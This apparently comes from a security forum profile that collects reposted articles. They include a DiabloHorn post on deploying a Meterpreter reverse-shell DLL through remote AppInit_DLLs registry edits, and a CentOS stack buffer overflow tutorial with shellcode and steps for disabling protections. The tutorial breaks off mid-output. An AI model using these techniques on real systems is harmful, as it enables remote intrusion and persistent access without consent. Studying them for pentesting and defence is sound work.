-
Posts
18725 -
Joined
-
Last visited
-
Days Won
706
Everything posted by Nytro
-
Derbycon 2013 - Sandboxes From A Pen Tester’S View - Rahul Kashyap Description: In this talk we’ll do an architectural decomposition of application sandboxing technology from a security perspective. We look at various popular sandboxes such as Google Chrome, Adobe ReaderX, Sandboxie amongst others and discuss the limitations of each technology and it’s implementation. Further, we discuss in depth with live exploits how to break out of each category of sandbox by leveraging various kernel and user mode exploits – something that future malware could leverage. Some of these exploit vectors have not been discussed widely and awareness is important. Bio: Rahul Kashyap is Chief Security Architect, Head of Security Research at Bromium Labs. Before joining Bromium, he led the worldwide Vulnerability Research teams at McAfee Labs, a wholly owned subsidiary of Intel. He has led both offense and defense oriented research with focus on exploit prevention and mitigation. Rahul has published papers in renowned security journals, and has been a speaker at several security conferences such as Blackhat EU, InfoSec UK, Shakacon, RSA. For More Information please visit : - DerbyCon : Louisville, Kentucky Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Sandboxes From A Pen Tester’S View - Rahul Kashyap
-
[h=2]wow64ext finally compatible with Windows 8[/h]October 19, 2013 / ReWolf I’ve some good news for everyone who was complaining that wow64ext library doesn’t work on Windows 8. I’ve researched this topic a bit, and I’ve released fixed version of the library. Problem was very simple, but it couldn’t be fixed with just one line of code. On Windows 8/8.1 x64 version of NTDLL is loaded at address above 4GB, it wasn’t the case on previous versions of Windows, as x64 NTDLL was always loaded below 4GB. Also some of the system structures are mapped above 4GB (PEB_LDR_DATA64). To fix all the issues I had to introduce new memcpy-like function that can copy data from addresses above 4GB to addresses that are accessible by the standard x86 code. I’ve also fixed problem with case-sensitive GetModuleHandle64 that popped up recently. Below you can find direct link to the updated library: Link to library hosted on google code: rewolf-wow64ext - WOW64Ext is a helper library for x86 programs that runs under WOW64 layer on x64 versions of Microsoft Windows operating systems. - Google Project Hosting Direct link to zip package: http://rewolf-wow64ext.googlecode.com/files/rewolf.wow64ext.v1.0.0.3.zip Sursa: wow64ext finally compatible with Windows 8
-
[h=1]Vedeti ce companii isi platesc cel mai bine programatorii si cu cat?[/h]de Redactia Hit | 21 octombrie 2013 Glassdoor a realizat un top al companiilor care isi platesc cel mai bine inginerii software. Daca va ganditi ca Google sau Facebook se afla pe primele locuri, va inselati. Iata primele zece pozitii din top, iar la sfarsit aveti infograficul complet: Juniper Networks ofera un salariu mediu de baza de 159.990 dolari pe an LinkedIn ofera un salariu mediu de baza de 136.427 dolari pe an Yahoo ofera un salariu mediu de baza de 130.312 dolari pe an Google ofera un salariu mediu de baza de 127.143 dolari pe an Twitter ofera un salariu mediu de baza de 124.863 dolari pe an Apple ofera un salariu mediu de baza de 124.630 dolari pe an Oracle ofera un salariu mediu de baza de 122.905 dolari pe an Walmart ofera un salariu mediu de baza de 122.110 dolari pe an Facebook ofera un salariu mediu de baza de 121.507 dolari pe an Integral ofera un salariu mediu de baza de 117.927 dolari pe an Topul celor de la Glassdoor, preluat si de Business Insider, contine 25 de companii. De asemenea, cercetarea prezinta si principalele avantaje si dezavantaje de a lucra pentru fiecare companie cuprinsa in top. Sursa: Vedeti ce companii isi platesc cel mai bine programatorii si cu cat? | Hit.ro
-
HackMiami Web Application Scanner 2013 PwnOff An Analysis of Automated Web Application Scanning Suites James Ball, Alexander Heid, Rod Soto Hack Miami – Overview Web application scanning suites have become commonplace within the information security industry. There are many open-source and free scanning suites available, as well as a wide array of commercially licensed scanning suites. Often these suites are marketed as automated and simple to use. The notion is that a user can point the tool at a URL and the software will rip the site apart, seeking out vulnerabilities such as SQL injections, Cross Site Scripting (XSS), and other common web application security issues. Successful exploitation of vulnerabilities such as SQLi and XSS can lead to the compromise of data. The impact of the compromise can be minimal to catastrophic. Even the reputational impact of minimal breaches can still be significant to an organization. This document is an analysis of the performance of five common web application scanners, which were put against three different types of web applications. The document will provide as an evaluation of the web application scanner suites from installation to the completion of the scan, and will rate the suites on multiple criteria. The Web Application PwnOff was a live event that took place at the HackMiami 2013 Hackers Conference in Miami Beach Florida. There were three target web applications, one PHP based, one JSP based and one .NET based. The scans consisted of a single pre-authentication scan, and a single post-authentication scan against each user level. Rating scores will be on a scale of 1 (lowest) to 5 (highest). Download: http://hackmiami.org/whitepapers/HackMiami2013PwnOff.pdf
-
Alternative psexec: no wmi, services or mof needed For me the fun in hacking still remains in finding new ways to achieve the same goal. On one of those days with splendid sun and people having their beer, I thought it would be a good idea to start researching how to get a remote Windows shell without using any of the more well known methods and preferably from a Linux host. To set the proper context I’m talking about the situation where you have gathered local administrative credentials and want to start gathering shells all over the network. I started to research the current methods and see how they worked the way they did. Then I did a lot of searching around and also some basic process monitoring stuff. This eventually gave me what I wanted a new?? way to start remote processes without using any of the known methods BUT unfortunately it has one possible drawback: it is not instant like the other well known methods. Depending on your goal and time this can be as much a drawback as it can be an advantage. The actual method IS NOT really new it’s just used in a remote way. Let’s do a quick recap of the ‘well known’ methods I’m referring to, to make sure we are on the same level: psexec This is probably the most well known one and implemented in a dozen ways. The basics revolve around uploading an executable and creating a service that starts the executable. It’s efficient, reliable and thoroughly tested. It works from Windows and Linux hosts. Windows Management Instrumentation (WMI) This one is often used from visual basic script files or powershell scripts to exeute processes remotely. As far as I can tell it uses some undocumented dcerpc functions. It works very nice from Windows host, but I haven’t seen a Linux implementation yet. There is a libwmi library but I think it only does WMI queries, please correct me if I’m wrong. Windows Remote Management / Shell (WinRM / WinRS) This one is pretty neat since it uses the mechanisms provided by Windows to give you a direct shell without uploading anything or making use of temporary files. There is a nice write up about it on the rapid7 website. Managed Object Format (MOF) This one seems to have come into existing with and is pretty sexy. All you have to do is drop a correctly prepared file and Windows will execute it. Looking at all these methods there are a two things that caught my attention: DCE/RPC is pretty powerful Eventually you want to upload your own executable (ex: meterpreter) If you are impatient you can skip to the source of the POC on github, if you want to know more keep reading. The not so new method What is the core of Windows I asked myself? What is the central part that is used by a lot of processes in Windows? The answer to this is in my opinion is the Windows Registry (winreg). Which got me thinking about an old method used to deploy user land rootkits. A very good article about user land rootkits can be found in Phrack, which does an excellent job of describing them: http://www.phrack.org/issues.html?issue=62&id=12 The interesting part in this article is the mention of the registry key “AppInit_DLLs”. Let’s take a look at a few msdn quotes: All the DLLs that are specified in this value are loaded by each Microsoft Windows-based application that is running in the current log on session. That sounds really nice, but let’s not get ahead of ourselfs and also checkout the note on msdn: Note This feature may not be available in future versions of the Windows operating system. The AppInit DLLs are loaded by using the LoadLibrary() function during the DLL_PROCESS_ATTACH process of User32.dll. Therefore, executables that do not link with User32.dll do not load the AppInit DLLs. There are very few executables that do not link with User32.dll. Also let’s look at the more recent Windows support for this feature: Beginning with Windows Vista®, the AppInit_DLLs infrastructure is disabled by default. This default behavior remains unchanged in Windows 7 and Windows Server 2008 R2. Well that doesn’t seem to be to bad, it’s a useful method in which you have to take into account a few pitfalls. The first being the fact you have to re-enable this functionality and more importantly for us can this be done remotely? After digging some more into it Microsoft provides an excellent document describing AppInit_DLLs for Windows 7 and newer versions here and here [msword]. After reading it all it seems that if we want to use this to execute our payload remotely the following steps are required: Access to the registry Enough rights to modify registry keys Ability to upload our DLL Patience to wait for a process that loads it OR somehow trigger the start of a process If you keep digging around you’ll find that there are, a lot, more ways to have Windows execute your payload for example the Windows control panel also accepts .cpl files which in essence are DLL files and those can also be added through registry manipulation. Even better in new Windows version the control panel architecture has switched to use executable files instead of dynamic loading libraries. Both of which can be registered in the registry ready to be executed as soon as a user fires up the control panel. For the ones remembering the whole binary planting debacle this is also a technique you could use remotely since the setting that is responsible for the “fix” of forcing Windows to avoid the dangerous search order can be reversed by changing it’s value in the registry. This would effectively mean that just dropping a DLL file in a location of which you know that is accessed a lot would get you instant execution. For now I decided to only implement a POC for the AppInit_DLLs method. In case you are wondering “why this method?” it’s because of the potential it has when you use it on a terminal server. You’d get shells from all the users that log in to the terminal server. Although I haven’t had the chance to test it out on a terminal server, I think it should work without problems as long as the payload you use takes a few special corner cases into account that you encounter when working with terminal server sessions. Remoting the ‘not so new’ method Since I’m a lazy person I decided to create the POC using existing tools, after all hackers are not the only ones who want to modify a Windows registry remotely from a Linux host right? The first tool that I found was regshell, looking for it also thought me the neat trick of apt-file: apt-get install apt-file apt-file update apt-file search regshell apt-get install registry-tools Shame on me for not knowing apt-file before this, would have saved me a lot of online searching. Using regshell is pretty straightforward: regshell –remote=10.50.0.116 –user=”Administrator%P@55word” predefined HKEY_LOCAL_MACHINE cd “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows” list which gives us: V “LoadAppInit_DLLs” REG_DWORD 0×00000000 V “RequireSignedAppInit_DLLs” REG_DWORD 0×00000001 V “AppInit_DLLs” REG_SZ Looks like we are done right, since uploading the dll file is just a matter of using good old samba? Except we forgot to look at the help/man page of regshell which clearly states that: set|update Update the value of a key value. Not implemented at the moment. Uhmm….darn! Which means that we’ll probably have to implement our own remote registry reader/writer. If someone knows of a Linux tool that is able to write to a remote windows registry say so in the comments. Since my POC is not fully stable at the moment. Implementing our own tool Let’s not loose head here and just use an existing library instead of implementing all the DCERPC calls. For the POC I’m using impacket: Impacket is a collection of Python classes focused on providing access to network packets. Impacket allows Python developers to craft and decode network packets in simple and consistent manner. It includes support for low-level protocols such as IP, UDP and TCP, as well as higher-level protocols such as NMB and SMB. Impacket is highly effective when used in conjunction with a packet capture utility or package such as Pcapy. Packets can be constructed from scratch, as well as parsed from raw data. Furthermore, the object oriented API makes it simple to work with deep protocol hierarchies. This sounded really promising since it also supports DCERPC which is what we need to actually talk to the Windows registry remotely. One of the drawbacks is the lack of documentation which is a problem that a lot of projects out there share. I know that most people say that “code is the only documentation you need” but still some normal documentation and explanation does save you a lot of time. Luckily there are plenty of code samples out there which help out a lot to understand the library. For example this remote registry example which also uses the impacket library. Armed with this I created the following POC: [*] DiabloHorn DiabloHorn | Attempting to understand security [*] Remote AppInit_DLLs deployer [*] rapini.py -t <target> -u <[domain\]username> -p <password> -f <dll_payload> [*] target – use file: syntax to specify a file with multiple ips [*] h – for this menu [*] examples: [*] rapini.py -t 1.2.3.4 -u administrator -p password -f meterpreter.dll [*] rapini.py -t 1.2.3.4 -u domain\administrator -p password -f meterpreter.dll [*] rapini.py -t file:/tmp/targets.txt -u administrator -p password -f meterpreter.dll As a payload I generated a meterpreter dll to test with like this: msf > use payload/windows/meterpreter/reverse_tcp msf payload(reverse_tcp) > set LHOST 10.50.0.103 LHOST => 10.50.0.103 msf payload(reverse_tcp) > generate -t dll -f /tmp/z.dll [*] Writing 14336 bytes to /tmp/z.dll… Then for a single target you run it like this: python rapini.py -t 10.50.0.116 -u administrator -p P@55word -f /tmp/b.dll [*] targets 1 [*] domain None [*] username administrator [*] password P@55word [*] payload /tmp/b.dll [*] attacking 10.50.0.116 [*] Connected to WIN-F1AN5Q00KJS Windows 6.1 Build 7601 [*] Starting upload [*] upload OK – C:\windows\temp\xauczi.dll [*] connecting to the registry [*] connected [*] X64 True [*] current values {‘AppInit_DLLs’: u’\x00?, ‘RequireSignedAppInit_DLLs’: 1, ‘LoadAppInit_DLLs’: 0} [*] setting new values (no signing, uploaded dll, enable appinit) [*] new values set {‘AppInit_DLLs’: u’C:\\windows\\temp\\xauczi.dll\x00?, ‘RequireSignedAppInit_DLLs’: 0, ‘LoadAppInit_DLLs’: 1} Like you can see it displays the old values of the registry keys and then writes the new values to them. This is because this POC at the moment doesn’t preserve the old values, so be careful in live environments. Then if you wait long enough for a process start of if you trigger one yourself you’ll see the shell appearing in your multi/handler. [*] Started reverse handler on 10.50.0.103:4444 [*] Starting the payload handler… [*] Sending stage (762880 bytes) to 10.50.0.116 [*] Meterpreter session 1 opened (10.50.0.103:4444 -> 10.50.0.116:49158) at 2013-10-12 20:34:20 +0200 An important thing to take into account is that AppInit_DLLs are not known for their stability or their use without problems. For this POC I used the default generated meterpreter dll. I’d recommend writing your own wrapper though to make sure that you take some things into account like: Avoiding having your DLL loaded to much Doing your own proper initialization Additionally you probably want to make sure that if there are any values already present in the registry you either preserve them or restore them after you’ve got your shell. If you happen to run into IDS/IPS or AV problems you could try out some of the evasion posts I made in the past. Hope you enjoyed this post and feel free to modify the POC to fit your own needs. Sursa: Alternative psexec: no wmi, services or mof needed | DiabloHorn
-
Writing Buffer Overflows 15 October 2013 Required Tools: gcc gdb nasm ld objdump python This tutorial also assumes that you have a CentOS test environment. This tutorial uses a fresh CentOS 6.3 virtual machine running on Oracle Virtual Box with 512 MB of RAM and an 8 GB hard drive. The tutorial also assumes Python 2. Python version 2.6 was used for documentation. If you have the above tools you'll be able to compile all the code and test it out on your CentOS box. Note that you will need root privileges to make some of the modifications specified. To install the above software on CentOS use: $ sudo yum install gcc gdb nasm ld binutils python Introduction Buffer overflow vulnerabilities are some of the most prolific and dangerous types of attacks in computer security. The problem essentially boils down to two main factors. The first is that C doesn't enforce type checking and therefore if a programmer isn't careful to handle exceptions unexpected behavior may occur. The second problem is that many process programs written in C run with escalated privileges. This means that an exploit of such a program yields effective control at the level of the exploited process. Since many of these processes run as root, or SYSTEM, successfully exploiting them allows a malicious user a privilege escalation that amount to total control over the target machine. Buffer overflow exploits are accomplished by mangling the way that C handles memory allocation. When a program in C begins, or starts a function, it allocates a stack of memory for that particular piece of the program. This stack consists of space for variables and data, as well as pointers to return flow control to the proper place in the stack. This allows stacks to grow dynamically as programs fork and carry out subroutines and other processes. This is efficient because the stack doesn't have to be initialized at the start of the program with room for every possible execution path of the program. Instead, as the program runs, memory is allocated on a per needed bases. Programs don't run in a vacuum, however, and one process can't be allowed to own the stack entirely until it's completion. For this reason the return pointer on these individual pieces of the stack (called stack frames) is critical, so that at the end of the frame execution the processor can return to the original programmatic instructions and continue the program. Because these frames are allocated dynamically and because they are of a fixed size, if a programmer is not careful it becomes possible to pass in more variable data than is reserved on the stack. For instance, if the following represents a frame: ------------------ | data | ------------------ | data | ------------------ | data | ------------------ | data | ------------------ | data | ------------------ | return pointer | ------------------ You can see that there are 5 'slots' for data in the frame, the sixth slot is for the return pointer. What happens if the program tries to write 6 'slots' of data into the frame? An exception probably, but if the attacker is careful they could arbitrarily send the pointer to a different location in memory, perhaps a location that contains malicious code. Turning Off Stack Randomization Before we get too far into this tutorial lets make sure to create an 'easier' environment for our work. The Linux VA patch is a modification to the kernel that allows for stack randomization which makes it much harder to create reliable buffer overflow exploits. This patch randomizes the stack pointer, making it more difficult to find our jump address to kick off the exploit. It's possible to carry out the exploit with this patch enabled, just much more difficult. Check to make sure the Linux VA patch is disabled as follows. First check to see if randomize_va_space is set off (to zero): $ cat /proc/sys/kernel/randomize_va_space 0 Red Hat also implements another layer of protection called Exec Shield. Exec Shield is a form of Dynamic Execution Protection (DEP) that makes certain portions of memory space non-executable. You'll want to disable this protection as well. You can check to see if Exec Shield is enabled using the command: $ cat /proc/sys/kernel/exec-shield 0 If you happen to find either of these enabled (set to a non-zero number) then disable them by adding the following lines to /etc/sysctl.conf (you'll need root to do this): kernel.randomize_va_space = 0 kernel.exec-shield = 0 Finally you can load these new values into the running kernel using the command: sudo sysctl -p The most effective way to do this is to pass in malicious bytecode as part of the 'data' and then overwrite the return pointer with the location of the malicious bytecode. Even this process is tricky though, because the return pointer must point to the exact location of the exploit code or the code will fail. For instance, if the pointer lands in the middle of the exploit code it won't execute properly. A neat trick is to pad the start of the exploit shellcode with NOP (no operation) instructions. When the machine encounters a NOP it simply moves to the next instruction. If there are a series of NOP instructions preceding the malicious shell code then the pointer merely has to hit one of them, and then the instructions will cascade down the NOP's to the shellcode. This technique is called a NOP sled. Other Fine Tuning You may notice that a lot of tutorials online have a bunch of documentation that points to examining the core dumps of programs that throw segmentation faults. When utilizing your own modern Linux box you might find that your buffer overflow attempts are causing a segmentation fault, but not a core dump. Core dumps can be controlled (if you have sufficient privileges) at the command line as part of your user profile. To check if you have core dump enabled try: $ ulimit -c 0 If you see the above output (a zero) it means your don't have the ability to view core dumps. Go ahead and change that using: $ ulimit -c unlimited This will enable you to view the core dump of your files using GDB. The syntax is: $ gdb Where is the name of the program that just caused the segmentation fault and is the name of the core dump file (note that this won't always be 'core'). Also make sure that SELinux is turned off. You can check the status of SELinux using: $ cat /selinux/enforce If you get a no such file error then SELinux is turned off. Otherwise edit the file /etc/selinux/config and change the value to disabled and restart your machine. A Further Look at Stack When you read about buffer overflows you'll read a lot about stacks, heaps, frames and the buffer. It's all a little confusing, even if you understand some of the topics, so it's worth examining more closely. As programs are executed they are assigned blocks of memory. Ultimately these are just places in RAM. The processor runs through blocks of memory in order's supplied to them by the 'register'. The register keeps track of what instructions are to be passed to the processor and where they are located. When a program starts it is assigned a block of memory that looks something like this: --------------------------- | Arguments and variables | --------------------------- | Stack | --------------------------- | Stack | --------------------------- | Unused Memory | --------------------------- | Unused Memory | --------------------------- | Heap | --------------------------- | Program Data | --------------------------- Ok, so that looks a little weird, but it easily demonstrates how the stack can grow down and the heap can grow up. Those are the two areas where dynamic memory is utilized. The stack is reserved for dynamic input and function variables. You need this to be dynamic because at run time a program has no idea what sort of input it will get or need to assign to a variable. Some variables might get their value from user input, some from the system, some from reading files, and so on. You can see how it would be impossible for the program to calculate what sort of input it would get (and how that might cause the program to branch) at run time. So the program lines up the instructions in the 'Low Addresses' (the Program Data) part of the diagram. As it runs into blocks of code it allocates space on the stack to hold the variables. So lets say the program starts with main(). The computer allocates a frame on the stack for the main() function that holds it's variables, etc. So the stack looks something like: ----------------- | data | | data | | return address | ----------------- I've drawn this upside down because it's easier to understand as a stack in this orientation. now the register points at the top of the frame and begins to feed instructions into the processor. Let's say the program calls a function called foo() in main() though. What happens then? Well, a new frame is added to the stack, with the return pointer at the end showing the register where to move next once it's done with the particular frame. Now the stack might look something like: ----------------- | data | | return address | ----------------- | data | | data | | return address | ----------------- With the variables for foo() on top of the stack. The return pointer is at the end showing the register where to move in the stack to pick back up in main() at the point after the function foo() is called. It is important to note that these pointers show the register where to return to execute program instructions, values that are usually held in the bottom of the stack as program data. Knowing this you can see why a return pointer is necessary, rather than having the program just chew down the stack. A Look at the Victim Let's examine the following code for the blame program. The code actually makes a rudimentary attempt to prevent a buffer overflow exploit, but one which doesn't work. #include <stdio.h>#include <string.h> #define INPUT_BUFFER 256 /* maximum name size */ /* * read input, copy into s * gets() is insecure and prints a warning * so we use this instead */ void getlines(char *s) { int c; while ((c=getchar()) != EOF) *s++ = c; *s = '\0'; } /* * convert newlines to nulls in place */ void purgenewlines(char *s) { int l; l = strlen(s); while (l--) if (s[l] == '\n') s[l] = '\0'; } int main() { char scapegoat[iNPUT_BUFFER]; getlines(scapegoat); /* this check ensures there's no buffer overflow */ if (strlen(scapegoat) < INPUT_BUFFER) { purgenewlines(scapegoat); printf("It's all %s's fault.\n", scapegoat); } return 0; } Looking at the code you can see that the main() function sets up the char variable scapegoat with a size set to the constant INPUT_BUFFER (which is 256). A pointer to this variable is now passed to the getline() function which copies the program's input using getchar() into the variable scapegoat. The problem with this function is even after the getline() function finishes and control returns to main() the buffer has been overflown, so the check for length that occurs as the next instruction: if (strlen(scapegoat) < INPUT_BUFFER) { happens too late (the chicken has already flown the coop). Let's begin to explore how this particular buffer overflow works. Copy the code above into a text file on your CentOS machine and save it as blame.c then compile it using the command (which will disable some additional stack protections implemented by the compiler): $ gcc -fno-stack-protector -z execstack blame.c -o blame Overflowing the Buffer First let's ensure that we actually can overflow the buffer. We'll use a little Python at the command line to create some input then check out what is going on using gdb. First I'll demonstrate blame working correctly, however: $ echo foo | ./blameIt's all foo's fault.$ python -c 'print "A"*456' | ./blameSegmentation fault You should see the program crash and a new core file in your current directory (note that the extension may vary since it's the process ID (PID) of the program when it crashes): $ lsblame blame.c core.1291 You can look at this core file using gdb like so: $ gdb blame core.1291 GNU gdb (GDB) Red Hat Enterprise Linux (7.2-60.el6_4.1)Copyright (C) 2010 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details.This GDB was configured as "i686-redhat-linux-gnu".For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>...Reading symbols from /home/justin/blame...(no debugging symbols found)...done.[New Thread 1291]Missing separate debuginfo for Try: yum --disablerepo='*' --enablerepo='*-debug*' install /usr/lib/debug/.build-id/05/14ca88cad3d3d3eee1b7561eaf052da205c024Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.Loaded symbols for /lib/libc.so.6Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.Loaded symbols for /lib/ld-linux.so.2Core was generated by `./blame'.Program terminated with signal 11, Segmentation fault.#0 0x41414141 in ?? ()Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.107.el6_4.4.i686 We can see that there was a termination on 0x41414141. It is not by coincidence since 41 is the numeric equivalent of the ASCII character for capital A. We can use gdb to show us the values of all the registers in memory at the time of the crash. This will show us the value of the effective base pointer (ebp) as well as the effective stack pointer (esp) that correspond to values the computer is using to track execution in the memory stack. To view pointers use the info registers command in gdb like so: (gdb) info registerseax 0x0 0ecx 0x20 32edx 0x5 5ebx 0x2c3ff4 2899956esp 0xbffff630 0xbffff630ebp 0x41414141 0x41414141esi 0x0 0edi 0x0 0eip 0x41414141 0x41414141eflags 0x10216 [ PF AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 Looking at the output you can see that the ebp and the eip have both been overwritten with a series of ASCII A's. The eip in particular is the pointer to the next instruction, and the memory address 0x41414141 falls outside of our stack range and thus the program crashed. [h=4]A Simple Fix[/h] A simple change in the function will prevent this behavior, but you can easily see how a vulnerability such as this could be overlooked. If getline is rewritten as: void getlines(char *s) { int c; int x = 0; while ((c=getchar()) != EOF && x < INPUT_BUFFER - 1) { *s++ = c; x++; } *s++ = '\0'; } The program functions safely regardless of the input size. This modification also prevents the gnarly segfault errors from showing up, effectively handling exceptions in a cleaner manner. [h=4]Back to Our Regularly Scheduled Exploit[/h] Ok, so now back to our exploit. We know now that an input size of 356 bytes will cause a buffer overflow and overwrite the eip. If we can exploit this weakness we can cause the program to execute some arbitrary commands. Let's begin with what is arguably the most difficult part of this process, our shellcode. While there are shellcode generators out there online, it's a lot easier to be able to build your own, especially if you want to be able to craft very specific behavior out of your buffer overflow. [h=4]Generating Shellcode[/h] Let's create some shellcode that makes blame print out the output "Now I p0wn your computer" instead of it's normal function. Usually you'll want a buffer overflow to spawn a shell or perhaps open a backdoor listening port on the target computer, but we'll keep it simple for now. Shellcode, often referred to as bytecode, is basically just assembly language. Now, don't worry if you don't know a whole lot of assembly at this point, we're going to leverage some tools to help make it easier. The first thing we want to do is create a program to test our bytecode. Using the following: /*shellcodetest.c*/char shellcode[] = "substitute shellcode here"; int main(int argc, char **argv) { int (*func)(); func = (int ()) shellcode; (int)(*func)(); } We can substitute our shellcode for the "substitute shellcode here" portion. Go ahead and create the file shellcode.c by cutting and pasting the above. Next compile this program so we can use it (I'm assuming you know how to compile raw C code but I'll go ahead and be explicit here just in case): $ gcc -o shellcodetest shellcodetest.c This creates the executable shellcodetest in the current working directory. Now, it isn't going to work at this point since we don't actually have any shellcode assigned to the shellcode[] variable. Let's go ahead and tackle that challenge now. For this task we're totally going to gank the hello.asm code from Shellcoding for Linux and Windows Tutorial (see citations below) and modify it to suit our purposes. You can use C to generate your shellcode as well, but there are some problems that crop up along the way. For instance, you cannot have any null bytes (\x00) in your shellcode or it is interpreted as the end of text input (as the getchar() or other input function in the C program is reading input it stops as soon as it encounters a null, thus your shellcode won't be loaded into memory entirely). For now we'll gloss over how to modify your assembly code using 'xor' to get rid of these null bytes and keep things simple. The code we're going to use is as follows: ;hello.asm[SECTION .text] global _start _start: jmp short ender starter: xor eax, eax ;clean up the registers xor ebx, ebx xor edx, edx xor ecx, ecx mov al, 4 ;syscall write mov bl, 1 ;stdout is 1 pop ecx ;get the address of the string from the stack mov dl, 24 ;length of the string int 0x80 xor eax, eax mov al, 1 ;exit the shellcode xor ebx,ebx int 0x80 ender: call starter ;put the address of the string on the stack db 'now I p0wn your computer' If we were really l337 we'd use 'now I p0wn j00r b0x3n' as our string, but that's another tutorial For now we do the following: $ nasm -f elf hello.asm$ ld -o hello hello.o You can confirm that everything worked properly by executing the hello program at the command line: $ ./hellonow I p0wn your computer$ Once you're sure your assembly code works it's time to look at the source so that we can pull out the hexidecimal instructions to introduce into our shellcode: $ objdump -d hello hello: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: eb 19 jmp 804809b <ender> 08048082 <starter>: 8048082: 31 c0 xor %eax,%eax 8048084: 31 db xor %ebx,%ebx 8048086: 31 d2 xor %edx,%edx 8048088: 31 c9 xor %ecx,%ecx 804808a: b0 04 mov $0x4,%al 804808c: b3 01 mov $0x1,%bl 804808e: 59 pop %ecx 804808f: b2 18 mov $0x18,%dl 8048091: cd 80 int $0x80 8048093: 31 c0 xor %eax,%eax 8048095: b0 01 mov $0x1,%al 8048097: 31 db xor %ebx,%ebx 8048099: cd 80 int $0x80 0804809b <ender>: 804809b: e8 e2 ff ff ff call 8048082 <starter> 80480a0: 6e outsb %ds:(%esi),(%dx) 80480a1: 6f outsl %ds:(%esi),(%dx) 80480a2: 77 20 ja 80480c4 <ender+0x29> 80480a4: 49 dec %ecx 80480a5: 20 70 30 and %dh,0x30(%eax) 80480a8: 77 6e ja 8048118 <ender+0x7d> 80480aa: 20 79 6f and %bh,0x6f(%ecx) 80480ad: 75 72 jne 8048121 <ender+0x86> 80480af: 20 63 6f and %ah,0x6f(%ebx) 80480b2: 6d insl (%dx),%es:(%edi) 80480b3: 70 75 jo 804812a <ender+0x8f> 80480b5: 74 65 je 804811c <ender+0x81> 80480b7: 72 .byte 0x72 What we're doing here is using the programs nasm, ld, and objdump. The important values (the good stuff) are contained in the second column of the output (the part on the second line that reads 'eb 19'). If you copy all of these out and preface them with "\x" then you have valid shellcode. So copying out the above example gives us the following 56 instructions: eb 19 31 c0 31 db 31 d2 31 c9 b0 04 b3 01 59 b2 18 cd80 31 c0 b0 01 31 db cd 80 e8 e2 ff ff ff 6e 6f 77 2049 20 70 30 77 6e 20 79 6f 75 72 20 63 6f 6d 70 75 7465 72 We transform this into shellcode and put it into our test program above: /* revised shellcodetest.c *//* now with working code */ char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3"\ "\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"\ "\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72"\ "\x20\x63\x6f\x6d\x70\x75\x74\x65\x72"; main(int argc, char **argv) { int (*func)(); func = (int ()) code; (int)(*func)(); } Lets test out the above code to make sure it works. Save the modified file as shellcodetest.c. Next we'll have to compile the program using gcc and a couple of handy flags that will disable stack protection and stack execution protection as they are enabled in the compiler itself. Compile it using the following command (note this is just one line): $ gcc -fno-stack-protector -z execstack -o shellcodetest shellcodetest.c Then test the shellcode to see if it works: $ ./shellcodenow I p0wn your computer [h=4]Injecting the Shellcode[/h] Ok, the next part of the process is to actually inject the shellcode into a running process with a buffer overflow exploit. First let's examine our overflow of the blame program. We know that with 356 bytes of A's that the eip is overwritten with four bytes worth of A's, or 0x41414141. If we examine this behavior more closely we'll find that the A's that overwrite the eip aren't in fact the last four A's of the payload. $ python -c 'print "A"*100 + "B"*56 + "C"*300' | ./blameSegmentation fault (core dumped)$ lsblame blame.c core.1291 core.1315 We can now look at this new core file, noting that it crashed at an illegal instruction at 0x43434343 and that the eip is overwritten with 43's, or the ASCII numeric representation of the letter C. $ gdb blame core.1315[New Thread 1315]Core was generated by `./blame'.Program terminated with signal 11, Segmentation fault.#0 0x43434343 in ?? ()(gdb) i reax 0x0 0ecx 0x20 32edx 0x9 9ebx 0x2c3ff4 2899956esp 0xbffff630 0xbffff630ebp 0x43434343 0x43434343esi 0x0 0edi 0x0 0eip 0x43434343 0x43434343eflags 0x10216 [ PF AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 You'll notice I used a shorthand for the info registers command by simply typing i r to get the same data. This technique of running the program, dumping the core, then examining the core file with gdb is handy, but somewhat time consuming. What we actually want to do is run this process from within gdb to cut down on time. We can do this by firing up gdb and running the blame program and redirecting input from a file. We can jump out of gdb at any time to modify this text file using: (gdb) shell$ Then returning to gdb using the command: $exit(gdb) This will allow us to modify our input text file quickly and easily. What we're trying to do is use A, B, and C to line up four bytes in the eip that we can use to point to our shell code. When we can overwrite the eip, and only the eip, with four letter B's then we know exactly how to align our buffer overflow so that the overwritten eip is within our control (and can be used to point to our shellcode). Let's get started as follows: $ python -c 'print "A"*100 + "B"*4 + "C"*250' > input$ cat inputAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [... snip ...]$ gdb blame(gdb) run blame < inputStarting program: /home/justin/blame blame < inputProgram received signal SIGSEGV, Segmentation fault.0x43434343 in ?? ()(gdb) i reax 0x0 0ecx 0x20 32edx 0x3 3ebx 0x2c3ff4 2899956esp 0xbffff5f0 0xbffff5f0ebp 0x43434343 0x43434343esi 0x0 0edi 0x0 0eip 0x43434343 0x43434343eflags 0x10212 [ AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 It looks like on our first try the eip is being overwritten with C characters, so let's increase the number of A's and decrease the number of C's like so: (gdb) shell$ python -c 'print "A"*300 + "B"*4 + "C"*52' > input$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < inputProgram received signal SIGSEGV, Segmentation fault.0x41414141 